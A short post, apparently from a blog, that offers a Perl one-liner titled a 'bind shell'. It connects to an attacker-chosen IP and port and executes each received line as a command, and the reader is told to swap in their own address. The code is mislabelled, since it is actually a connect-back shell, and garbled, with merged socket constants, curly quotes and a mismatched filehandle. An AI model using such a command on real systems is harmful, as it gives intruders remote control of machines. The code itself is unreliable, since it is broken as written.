Bind shell one-liner

Ok, so this a long one-liner, but still a one liner!

nohup perl -e "use Socket; $a=sockaddr_in(443,inet_aton(’127.0.0.1′)); socket(S,PF_INETOCK_STREAM,getprotobyname(’tcp’)); connect(S,$a); select S; $|=1; while(defined($l=<s>)){print qx($l); } close(S);" > /dev/null &

Be sure to change the IP and port number.